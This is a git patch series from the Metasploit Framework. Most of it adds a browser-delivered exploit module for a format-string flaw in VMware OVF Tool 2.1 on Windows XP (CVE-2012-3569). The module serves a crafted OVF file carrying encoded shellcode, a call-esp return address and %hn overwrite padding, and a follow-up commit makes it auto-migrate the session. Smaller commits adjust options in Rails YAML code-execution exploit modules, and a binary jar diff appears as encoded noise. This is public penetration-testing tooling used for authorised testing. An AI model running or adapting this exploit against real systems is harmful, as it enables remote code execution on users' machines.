b/modules/exploits/windows/browser/ovftool_format_string.rb new file mode 100644 index 0000000000..d15d81b06c --- /dev/null +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + + if agent !~ /VMware-client/ or agent !~ /ovfTool/ + print_status("User agent #{agent} not recognized, answering Not Found...") + send_not_found(cli) + end + + if uri =~ /.mf$/ + # The manifest file isn't required + print_status("Sending Not Found for Manifest file request...") + send_not_found(cli) + end + + print_status("Sending OVF exploit...") + send_response(cli, ovf, {'Content-Type'=>'text/xml'}) + end + +end \ No newline at end of file From 9ce5f39bc6afae2352c04edcc7d3626327743831 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Feb 2013 16:42:56 +0100 Subject: [PATCH 119/129] added migrate as initial script --- modules/exploits/windows/browser/ovftool_format_string.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index d15d81b06c..fa3681ff88 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -51,6 +51,10 @@ class Metasploit3 < Msf::Exploit::Remote 'BufferOffset' => 6 } }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, 'Platform' => 'win', 'Targets' => [ From 39cafd0cdeaf949b85f4d2a6a6881ff61238ca09 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 4 Feb 2013 15:08:34 -0600 Subject: [PATCH 121/129] Use OptEnum instead of OptString --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 7df91ce063..8eb9e1ce59 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('URIPATH', [true, "The URI to test", "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]), ], self.class) end From 9b30e354eaaa837ce63492e16f73885d6c11e38c Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 4 Feb 2013 15:32:36 -0600 Subject: [PATCH 122/129] Updates HTTP_METHOD option to use OptEnum. --- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 3 +-- modules/exploits/multi/http/rails_xml_yaml_code_exec.rb | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4066d047fe..6fafba24d9 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 8743f76106..e5e5311505 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( From 447f78cb24e82b3e9ceecc03ff24c05b4a46c0bd Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Mon, 4 Feb 2013 17:19:54 -0600 Subject: [PATCH 123/129] Handle nonstandard ports when starting new msfrpcd. --- data/gui/msfgui.jar | Bin 800505 -> 799474 bytes .../msfguijava/src/msfgui/RpcConnection.java | 3 ++- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 3fc94594f6800e835ef71096f81f3f2411d5c11c..495e0ef2171c0fab4aa20bff970421e09b5352b5 100755 GIT binary patch delta 57073 zcmb4s2Vhmj^7riSY4_%&H)B)sJ4kbAu0sz6>0X-0Z|2*yAV?N13?Q<| zriX(R@FR=)%@UiI1}V~iv&^RDL5lGsD{NXBqb_pM9U={wzNk6F;B z@975KWyeI$5EHVOMfMXD4tyW^YakvBiAZt^9t7`fkuN@85}4zSK?1DqLpUtENWN4t zJiAf8_&Ou-r6?(cF*K4!0rJym8Us9j8cXBAQ*t(#5(#WVc>!PitZ#(O{0DaB`&59} zq5@Mga(RiL!@Nd`1vHT+kr0XW2~DOc9xs%SCq>1A1DXv-Dg{t!1gV24k1{lXTF^jh zOM|E*BxjyUpd#v&D_G6Ek#qtXl9G%3|rWuWsuTD3#M(wL2C}$*rIKaO8c+d@tgJ>bl{+)Ejk4$ zL$t`QQ!RfMzv<3F4;JZONAzUa%ND&I(Z>;e9np^^>CcH}I&_&Kz77bAfnpG6Zg5Zx z5knnupDl(3#c(l##Tn_)dklLyVw6J{9WmOW_Z=~YWx}^l8RFYmr#pS@h;a^m;E3@K zz2%4rEE-VGGeklYgVaw<;>cu2OmXO}Ev5!(keK9%`yG1M5z`#H ziSsVKL8r4ntXH(=b@7%(>-X*^kvPrLF^; z6;9-PteY-!@IGDeR8QQe^tMYMbMOJbe~aGsG*Rk#I_J_^4&LRDmpJ&4F+Sqp9XglY zyFoMOy7<-=*Tr{w>^3Vg`=tgSDP%VLsfMS-_3WvQCW=3@uQ!@00@ z;~~nytDhThGX!+RfelRpk=ajlES7c7>!3*3gOJ37NXml{!-L3!2aydAA}1b%_#T9i z9)z48MBY4z9C#2#<3VH`FdBO8Gx{6~;!1Y&PIbf=*|R$puk|Iql!5Nd2ly3z?PAEG z%QZfis}trbxZSX1(7V&J`*l8GGv|9KF*|>kc3CT_KCPyP9@inzqV@0%qXg1zOs2=* zfa;5t1ywq9eukli6jk|_^q0`85SMd22vPvLs(=PiB6xXUA*D^R`-f&`U3$wnio}=6JCkeSy#?oK(H%KMdHWOz*d2fq; zoRuW7Box1e!iz#SljsYoh72*ks@}KixuRAVQYcUpRTl=Tjzz65OkqJ(iz*5mUk#*z zrsbv4wP%xBoJN#adEZbPs;D9glzIC@OXXbNl||6wExB_s^?`Fe`wC<(qxYC5Il`2I zrgB9j5-th!C=m_BF7&a80jU&Kp%3{h1Qhkcj3swdPnb`8KLBoh`V=Y1++4<@;kj7Q z6CRfC(*#%__DRnz&_bB1aZBOMmdO>jj7Y%9%0n7d3c@SdmHMs&<>|f|S~dNuojsZ3}Nj6*7^_yyCNR z<*{<)5e2MpR%Z4~s+LDu1BFxb4pK9h)bvSX98pjdVlni%#&&WgCiMsPm^;WUQ8?Ug zEs??{0J0)svN1KB|Ank*n2e_oZSFEPlvOI1i6}-V02`xj#sc!+ARkb_?8E(Q`qPKs z`gaLWA36>i8Svk|JSy4npMIHi$cW;JNAmiN#9NqH-BK$jrylrZS|E&Yea3#}A@tkz zO@o0z80aCKnLRPgwfVeF;isz$zwl9aUwwY#izd;FCiD7p$(yF1*qQ8kmjBdaU9<8Y z*EVLOPoBq0;Q3&7>d%D^oILrwgVAr+x$~+zMP_$9Us`RZhS}54-zyemUpU_=-tVc+ zpzxYQp|zlL)G|B$tpPsQC2!3LdR)&Bj^4g9nrLOT$FEkN-AIc=6lv;p_%}2pW-G9xd;A@CZ5-iR@3mEqtKf&vAa%x=lU2^#WSq1<9Os z`EMfZ12b=ZDm|J;TjpNPqj~s`I2FsRHq`rLb-(JEV&Y%H?Ebg%WuN#fA^XZ-iS2?E zExK~hEr8%24luik7Ckt)mp}C6r(PWNwnZOX^bLxBJiUp=^aj%!K&%Ds7lUjuIJ@rO zS(46YAO3rm_;7Ut(OwK%y;Mvpe=8`ai(?Lb7o_6iSdhkx;|~4E5RpmZRSr&YaMGb0 zx}p#z-J3z00uu3-L*MEFLZpdb^nBJsSY%{(`o3ytvlNwrO;bgRD~gHYt|-h;Wkk9w zN^?+>gP@3Tp~8Q4(R03XF(CZFWA?|ch!+W%gwS;!{6ENE`d$H@5h)79vsQ*C7&vD1 zgfSyA$sl3r-jSk65RWq2l`$eg$5uBB@?f2ypNkZ!Ha;W@DwRF!^HP}HyiJ&_U>wx@ z;*7+yE{3e{U6G8$WD=)%fiChK;yn-z8)VC5SLT!XT^>+$$0$)+eN9*OgHfU>Cs)js z#buhHr0k5(lcJH}SV5|O{rWuh_(1;@}FSIyD{3?)>xpA1}m1QxvAl84Lkq~MW zFMf*7LVnPl<5*@7A_E>osR2qB#e*nR!2FmRU54iR#C!KC;-B3S{~Ylvcf`K{UsMZl zf`4b;~6JSz2Mp!&h5swSg7V)_7 zpio2@!o*n0EI8fUp|feCtpJ-sCB>LLHlj`r8&M~R4W76#c@(K5YzX7CaXev;mlVai zb8h^R`XmOWQ6gVBqFFKard66Cw^7Kx^V&(g(ZD5%tdmiVA{~7(xRgTaYi|@J}b8ZWP>o` zez8R46ZuipwS*-Kh=L>`O#@K~PdwK^uV*%3T@R22HOqv^^#^P&Nq@lZ$xAe^6#e;* znVTCE!)8$?6{*7XcP@`ekGEaIaL-}Rl?l(6Mr;OPEk+e zL3%C0S1IZUiGKXj7+ zPbU5TZ26Uelr7POwG*nPsc05Xvo2FXG?TEz|Ar5DBJgQ`Cm;RmhfZuI zZmf5f^#7l@g-@){Sb^mKfvlxyhN zT071i)?3P2@u7~@M2zy@{W&#Zj=ry^sFF1+NFCUeUYzFGG}mTpx=HgQFp|xWparxr zf)>%k94xkJNd#;UOF3A^Sj!z+!EmKR*$%A=fCnt*Caqxuy0&R;5SnNnzkbA~b!u!dNeo`U+*xa7p1K>Z41(N+5wZf%~tYVw43>8hcLZPV&unzRF?K|WG^#) z!lBL#H!{;FIe3bLr#aZ?&^-({>RGkK13c%|V@{~DI=!|yqzAZxe4#)cQ9wpcp{XwQ zV9V4v8m}wX6XjG7JoKw4x~Y4pyAIV8#Z*`7=Fj^&Qx|XEr{n93C9qEQ&^zm+dH2xQ z>xyzZZFaPAVU2}*g(2@5NrW?#oPn?7lL}~ovp-QqL<#$ zTC~XOjc?P?{g=be(+3vq2wF(xsXt|6Af8N3VA~#usYWB(fOTR&tQu?6HrTi`$)bY&DQ^#%&@9oXx~lF6ezN`l1- zO==@r3&{0yThT9r5Hl~6TV4D~89QI=-K{{3vC{QNW?c0fhwR(ZbpNaKC z^XLu1`ykA*nFMo%#PSE3Mo)rS;X#j_dr~VV_q9ae4l)ZCdp~b%mpJHXlTwM zN6yu$Jw4avtyBcP%*MV^x^K zSSdbMQDCL!VWstZI@8B$HjS}L`B-IuRW=Xn(%TF3dszC&_Yt4s>#fa~Tl-iC7cy2)AFDU8`s86v=w7>E2xW+g>>wXu2oQ$m zAsqOm0r_mcT*hoh`&eUvHO|BGYvse0;)vtbO2hoU*XnU0)XK~2nP81iuoeW5sTJvDfQ=*K31V!jCJ0}dK*~pCn&&s6nF%d*%s8@>Ez z$U6Nv%UZ=lHL3wMJJo9AHHw412AuZOTXK@qtLL+80Gx(-?8-D>Fu`Y+@(bAQd7as{ z@KIX^>#cK)HNeLj1gyb%Sns|1S8pHd z>f4Mp(#IMNtTB05t$V1N9@cXg7-_PPG!;nq=OJC0@ZANURq_XnHPgqM4XimHmfu_4 zkHtd2BKqw8JB7PfVI6r38rA+rycC-Gsn{UIBA;|INSAn|Hd`6Hw%w|qW|epTbJnM; ze55r%(s@#}JG*tH$29cymyEU1$Jz|6EqPcI@*n)e$NKv!V?F6(Jq@gV9+uaHuD1QV z@kPw+FY0k~(1en%i+iOguE%~a8kr@?F-z*_z89@Md+d#@V1XSl?d&l0`7eQ6@`gC0 z#Mm`Ujr=<5rWh7Go(ftMsG>EI>ROYiwKZ8UxGB1Nw5syW6SF}(J4`Eo7Vj!CHHX&H zzuppU0@J9R^#E129@K4q3y)kSe>^of^yqIQ#uhVHKPlfRKa)&r7A07-DZe#`3RrWg zg!K?LvgT1MYd#IK7SR3HLVCzrMA_D2y;I0B=2D<8(*>mT2lHmC?(on^DgQFXNYu%+)t0ZA9^WSCMoffPAMz9nlDqFbyWY5BK@MR zP;dF0i=hM-E4^=|NY?%Tz!3XXLHV^5$9#fUL2$w&@HnQudejNED&Oczg7;AoA5e<*p?(ps zJnqxd&Myu{m6Fj)eCa3uHIl!YC-1o1E8l$<@;>X!8@f?emRI7MPRWox#C1I-LpJmn z4cvC5VdzMP{2V)VI=#B=Dop)g_3%gIo>BEf4Xem6u|?;940<2E#`es`Q>(8bg=^sy zKCLdRDG{lYYs;x-G)34kdR1-dH|kS;);#k&b~%1Gy}X809r>PNR;Hj`MPF(lheTGR zc)JD_uxnD9T}yXrC{`%@u1Q^)lWH>~@2t$igly1(ph$L^sBv6pI!Cup{KinfWT^?O6*Aio*azfZpF zE26TMm(B?l94Sj1;)rfGR(3OwQep9m-ZWPB^kjUq)O-0uVw`l9IIJ^A$RfJ@L|Gij zohHiBUOp>!tay4(91;KX^BKB=Z!uZVQUUQC_Ax`$RUCxr^LgqoUZADo5Umm~(mHXN z&WaQCt~f~_ic|E3c#VD(ufr1ghA1jd!-jQ6RD$)hCL9@>h_^&5@s8*P=Y)acf*1|| zgC*hv@woU<>=z%4gW{4nCN6{G6L>XzF5VNLiVK$bOx(nj_QFGQbL3T+zP`Z*?lo-Z zeyiuslQ+HG-LeiQg=Wr|U8I=g&8VkfhB`HGMty3=xWS#3qmxWA zddnil&@5Th7!Uus>9UxyKo&Q$Wty>3mN0h9lEyPK-8dpk8Ly*S-<4&IPvBm6O_no$ zk>z16tYEq_!%UVH&0?~WSzcB)YsxBS6Is=4FRPjN%IfAIS;HJ7Ynsz!E%PB++gvW| znCoR-bEm9l?vwS+7i9x8>!fUGz9k!(AIrw(*RqNElWc1KC7W3R+1yHyEvzE4rBz0@ zvZ~3}RzumwY9rfP_sDiuU)kOoCOcRYWk)MZcCr@9F4ij9&DtsNv7VMatQX|H)@j+x zdQbMYK9zl~pJhMWm6>*u9B7x5BkbyOq+MT*%Ceiw(RL>}*1k`Ux5vwg_JeYg{ji*7 zuaOVhPskZ|NY1p6%31a~InVx3F0g-;i|pHSv17?4PNH1t6qT!-8gh-(NUn9-$VZ%> za-%a?Zgw7&Tb+4wyR%&Ga5l-uoyX-~=cs(rc|$(!yes!PSLAcf_cH5Xz>+TnV&sc~ z0`hR6ggg?cD~|?R$yWlM<*~phc{1>@JRMjq&ji-Xvw=PGTwuR^D{x4@9XKQ330#!# z2ELLX1a8QW0>8GHE+ZTWeysk{>GBCiH}%WJ_Q^4s7T`CV|f z{64r?-UzPGl0OHx%U^@f%Ui)$Ziq_QKDloL@} z1tO}bU_@gT9noIJMs!zk5yMq{#6*=4F-PT(Sf&a_tW|{~_Nc-U&#IJ&n%5HO2!|kkUxxG|vceJYGPE~c?`Kpnd zt(v$SR8#jU)y#cfHFr;`HtsvBo%^wB@7_=y+}~Bl$bjk=nW(x)rl=l~mDIhFbyUyD z)~a9RJt{M@pBfN3UJZsz zs7Iq4sH{!VE!F1eUTRD9K(#e`l-eFWS?!2ksCGtYtH+`@sol}L)Z@{I)Sl>9)!yiL z)V}CX)Pd-$>Y3=<>e(1eJr|Rx4#lLZ!!c#lOELA-k(d_h<(PZat1$!A$(YgVwU{aD z^_WHKjhL0{bj${ICT52^8*@;di+M$zk2#;E-i!HIU5xosy&v7{E>^4WV;@&HV)v^bVqa80 z#lEU;#$HrE$9|@MiTy$S5&Nh5GtN?f#pPFj#}zjyuCigq)i><8Hii?|)d<984K;#s zhC>3ATC>`I#s1V=5s2JbFs1!fKs2o4Zs1iTds2RW9s2%@^Q73+{Q8)fMqh9>0 zM&tPNM$`BYjArrIjpp&c8ZELCETe5goY6iZ#psxjZgfhhZFEj(Y;;LzYjjKKX55o- zpV2*GywM|JmeD6+iP0}%jnO}0w*dz_V?e?y#?XW_#;}A7#_)u1j1dVpjgg7U7?&7r zOi0XUOiV0mOiHX~OipZSJdoJYn4WmAF(YxLk(D^vn3?#H@lfIlBWr%*I%7fN6UM^C zkg+K7gt08~En`LEhsMgp?~LrkTgIv++jt}?-dLYh$k>pSVLX~t%h;II(%6>N)!32L z-*_x(n6WGAL1TB)JY!GNGGlMjR^y4Jy~dMChl~SBCyi&5-Zq{~`oIV!eQrFT^u2K? z={MtWvNDb&M;I?BCl)haNiJd>PcCP?nq18|k^G=>KKV7{qvZ3($I0&-my$mEYYMU`s&y1o5m~9O*V`-=vr+d{=OB0hQ&P=8PW&xn(qZBhg zl{5?Lzv`&I*f?~|B096K>J=zPQD$+XeZs(@$)l{KqS1+yY$n3bq5CTI=K zYShoHPLs_Vlx5bWd3auI)`Lj3AyOTB)T~Qe%=)y;Y_O)jnq$I^&1@1{P+u(&-C97R zwluCG4G}K&7Sm^*-r?w zmyl*}5yW$(*+)c~eMOSlUk`4mj>Hb4XmcoXIhf+jAym-3PgiTCHYSclhDT9-b1XG7 zM^j^S47E1L>8~3>*G&M$M3l)SDq>F7{Tr(;=KW-w)BK8hudym?PDgx(A5Uw7_$gHTEuO%3ZG`nyK;TM&x6Yp508{Y_yF6=62M>4oWt6QacSow9VX4kDCWVq2@{n^I7U+hV+pZ>Ou1bBz{OYY^lbXFQHbC z=;vCh5#}psZ^v}WR;s;uf?V^YzQ2_kiv>yr^9}u7D|NHpS;&5lN}1=WviTM@1#E4; zjh65(BzTVon-^%5d68zD@6!tN1Jvio^oaQ(tusHOt>z_Nq>VaJ;xmdcKS!xw0jn?2 z0>7kM=2ytfH>jMiQ8`z^@>(d^R>39ud*Iwaaz7xsACcS-`1TW$`x(jog5-Xs2hCfw z$ovhB?sr;k{zYre+eq?HG`_z%xkNp%of?S#VpvMQ(GK0vBHOaLHj3z)?Nu3A+-)nu zkI&8M5|W?*SsiQ=uwSl3mhl2$cpX;s&gJE=^w78b>|Lmzcgg+;yk zRNQJv=~g2uWi`fvzX{c{no?K$Njm*qVx@XHWxcCAGKq(!JIbG}w9)%l{W>mUWmGTQAXO>li&_ouX6LoAi!# zhCZ{-(J$6{;aYFOyYOvM(RxQTx84=^T9?Ea>#~?`eJU1MpNSRL=VF6(MLcGGA@*Be zieuI_@wWAYxMck(zRI$G5`mZ@_t*&xwew4Y)5XlBjq!8f;?g;%Gd2=`JSCmeq!gB-`WM_ExVvH>_RHWF02aK zDXNrRL{+tms)lwk)z&Vqde~`dkX=I67;BeQ58CN!fn7?ivdgH=c3HL8E~gIK<<)V! zf;wkss4I45b<3`Aklo0Lup1lkb`$+~Pqi$uIT>~fin3c$KD!kav0G!Q(?)OWrN%%N zM%x{9a&I*+u`}6r7mBsJQnKBRO4>cCqTNgH?~Tsd7q16~O7&5Dlf5H6p^FpMJBI)G z^!=){@*l0~xsSbPsxHdmBSEj-cYK8IKU0+qeLP2%_TPQfJW$MkS9Lz#`P7+V_|>BB3Q~lp98R^bu7n{P@8Jb=~$!-`K8>#`urRpH&_F z^hWi%@|dpuqAC%>bhTudsQQaJpP%ac!|Qs<5f}r{9#KWIf|M*abFd|VU@JdilQLOs z=U@lF+i45zRYr?lj@TW6l`6I;qs3lFJi!o~lF{NRTVP8vS?pu<{fu+K7S9AJQ#|X4 z=Ynur4e^(Q96Zm#3ywHsix=@&RUCFiAzQq}uaDS#ilCI(#S#A~L0NH(BgdKjs~nuL z#YwGSRu#oAed=Y^GuA`CYKw0iaVWCV;^((5RXsE}%q6)>< z1|z(cIGZw8mT^P{z3~;5>{hiUj;A~=PQm9xAALoocE|aMMY1TE%UX`C?TC7|#CepX zz>sxue8rYHmGUab>N}#MEgJ;sHI6lOL?c@^3euY#YYYbzTQ&*Od5$%8uoF}3nEDdA zEP7m(v!8P099z!iQx*Ete6mnz+;KG`&~%y@=ZeW3Oypn^2V*&y%0U(fGdZ}Q1Gv1n zVwmXfiteI^D`xRiO;IcC%-CA=*A3377EWu?#1%C}dA;8F(Q(-gC+z)bx^T)Wtj|?56Aic|=hL0es>Ha~a)rxIQZ5d<^mpY-q!fzL+*T8}-e6 zy7M`eu1bis>=gqN_3^h=0i!Y)>Zi`Ba;g;e11_CYLQDzRssSk`2*NRN|u{NrtE`>hOt>0tVblD)HVqJU-#&qsMJl ziKSdoPeA-C9KeCd#W5oUl{u)3K)!)2%hNFW;~YqW?)WxZbC1xhx0NA8>(IP+)Heb` zjC&8V^w3M+gTU~n)ra3x4`Wf8?5ce75m)8ME1YR5uBTp532KJuA6j-n4T{Y|9bjA7 zfTKFY1kWLk<0yIWJ<8pK?9;~YQG0+1T!J1%k$LY?&>lotdGApTUYxzE*r|hEq!_Y; z6hq{W;Q-FH_X6eOLH2!O1T-2CqEUGeCFntvhzC(*9z<1p5M}K_lpSDE__8&Ik9UyQDBUw&Fn+#zfm`YXr>o`tBzzb8=M!x`GtUJBidr;onW_X2cH)F;fehX!4OZ( z8p<0_T=a@QrC&q`(GmOeKf)&1NpvQYk79@}C}2zUg+Fvx(G5q{wo)~54=5az5xO3W z0M;{+5)7vL_3Nru8_uimQ~n4FVgnpY*5QQ4dMZtidii9xg*33gSM+2Ns7#K4cb6S zxrACm+OpJEWFj#OPAR>_05K2_5kZH7%w#XhMH;s@vEEa?^?OFZVU}0zN)s0 z5n?3H)@&2U#V9eFq*08Ti7|L$_fRNAFS#PWsHAGS3^mgB|xHN?33U&O#z z5oXnr?Ze#K+%oY(!XFV{wRf=eykf++XyDgjVE*n7wr;MhZf?O~sPb~R=a!m)+!gsv zRcXSxV~=JBee?k@CoR#v9)wG)#L?Hh)}GTOh&t!;gFf{5t^Q4Q%HkY)-3K1;F>nqp zfW7NF(xe8kXLBNc%W4=FOY+G0e~U{*|D(91LokHjk*|N(L@>Tm`~Oq)|Cg5wUXlNW z7lvdnPX~Ti8fDbx4^`G{0bE8sDBbIF2DL(IahDS)qgq~?@~A_Ey}z6`^`EHciv{7N|Hbjr zcgp@hY3KM(dTE2dB^I($gA`2{d1CxiiaVO&f0E*1I1!_6bo*2*DV-b1e?ndYPh&>j zG)5&=zAF)-Bp~9lFkQVrRdS_&Ci3rc=94WClfk3)e@bpenC{L0ExDCpvLF7($Mb&TDaS5a-w_0jDVZzw=@E zW*EK}hOdU<(J*B9W&Yda1KJG8(;)Z|`hWL@Vb3sR4@&-P?E|W)fBjq4^wxOKRxuJv z`m4P*C5@2jtvCm4PphIkR>r1vQOmVM70VevOYcMTp{G}PA3|+2jN8(uYYW8iif~Ld zJbIWv$NpVNuc>KN&VrxmYhn`zn>pCR!PWqRZ5&`pI7#f_cf2HY#IB&&EgpBoo(Rm3 z_HyuqBc61`Q;duSVMy!?(hjlT76*cqD4ub|vkaf(V23S2L2No=P57F?X}TAfZPp=2 zyvR%sbMO)eyd(^Wqc~NL0N%01#X*}-gr$q)HZKTE<4~B8;u&UhG9XTg*ZAo*=Jq-V zZ*cUqBi;ZXZYzXKb_;?JO^*t;_V>S%J1`ehhM$R!F$Z&f+Gxlxt6g?Owbc+ z8^z0EWqSbbeUKgp(%^N$fwH9$q!H5Oh=sgMn@j6)eXO?8M(oznb&R@dx7eZE*D-2D zjFnZvURDc=v3hwOqiWh@*(e|zV}U0o%cgiMoAFa~4q60hjckc0{dFCqaHD5z*?~{k z19s#h2E@$+&ohLp@F9j>IER36Dn7!?@YiHFM-%{&lnxeM&FdN^vraeyYtrZWO(942 z57IQ53355W5rr8dQ_sqQjvV9&EQ}9JY0JSu`allhh~-FJPEf>=_u(KaBMx&!f+L3` zJ&CIdj>wUYz(V^7xXV$Fh;ZcSAU2D~axl&jSYOv4AEfW(5JygMM6@j@2I)tR;Q|7z z(I*G#7fxu6oWcb;l}q7%E}m%tSy4W~MNzt*k>a^L2mUgOhlbZP`rCSH2dhj-H8TQ6 z*+t?Z7h?p11su%f08??CI2KWS_2 zRDN!iYT>Mki(RO)3TS zq;^JZn(L}ag@VI5YJQ4#RSaao?g<1c!a+d@^mset-pKpKG*<;x8Qi-d+)zw=BTgXc z;vJ0I0DU_c&Bai?ql580V*NTA=@wGPMHl+dNTX0_S4U%ULOco;n$JI&&JdNQI}A3G zb-!rK85)Ccf^UlOaQIv|{?&JP)EQJ;*1*_&a3xAW9Z68Ju}B zEJX3pn}dzrI8dsm3^k@?mB7cP6a^h#p3jV8KDwG(30@bQScf$gyfU`vQEDX0;mJng zQ(^L`fCXa`J>XMdg{XZBoC;j&QwWEa`4q_0T9F|tA{~B0E5PiHpQ_*pxrD5E^oomTUtuv=aq)H(-@EsD1%EnDJ4^!yE zC}RZ|#;`HQQ(h~22d7J0pc1>FodoDbjAC4Vv9uFcr*y?TT%Sa%MK^H|7Uh3q_TC*| zV{k}jr$-S*D{#iLhqxCDmesUd^u*UldI-wD7m753#={MXi!?~7_|{wWLEg*bfOTIS zO|-J8Hmp$nL1Lq!*2YR5zOXb5eQ5yR1;kAJ<8n4x{+u$vQ%*TA$|(c9^UA=(8;H^{ z{-rd$r3aS=PEIIpbW{n)cH@OSIlmJ*$;Oz`!~EWo_nR)e!7udEl-Y{ApQBjkYYZNOPZBOdJCk# z{U=f^-~2Tq7e^f~c|f~N*`Cjm{WKoY!Vu=H8uQA+hEt!X%`qA*MHlhcfy=$3(5VZJ zgi`;9(C-eWPl$9^h?SnmMQ0dE>HkdSpUBx_6=W%{`^+%%clal=uh*PhksOHR4KV0R ztHXND5o`WcuR#JW)_M~7OS^w^%~`qTWYhvz)H&!L3DfyYySt}b7pC)TA7(pBP2EO&Q*`X~Q*^0A+Hem%8!PoBvX(z7Pb7)tPcI#ftjKT#Sdd4O! zuL=^DS0OrRpI*Mq$X{?XQ0XYMdfcX0ID%EwZoI7 zgfdqc56MW}kjGc=Wx6=5yGs9*Z449hbe~nmyUL|`y5?%kmFLkwow?db6Z7?!p?0!< zbhXjC=s=f`=-Hwu=A76Uq8XHB^W7V1l;xtU4a`p2T~HTWV+;oQe7$ImaZbz&_0mSX zlRxiLzDyK#0RMp#)X1RF{7uG4fhq0H&Bn5y-Xx;I6vT%I95yq!X^ypjE4D*vo=-F4mg>T;zJRV|w zjvM)Kvr`rh?)lJ$%Q)wp6LihoQN7HPG^)Yrin2n-OFhynY4Gd6W zJY*@1hbe3r4_g&sJPgt4Gza{MYT~l1xtJ>m{D*=E-$8hLKe#GPP4{d!Dnph_+l_)= 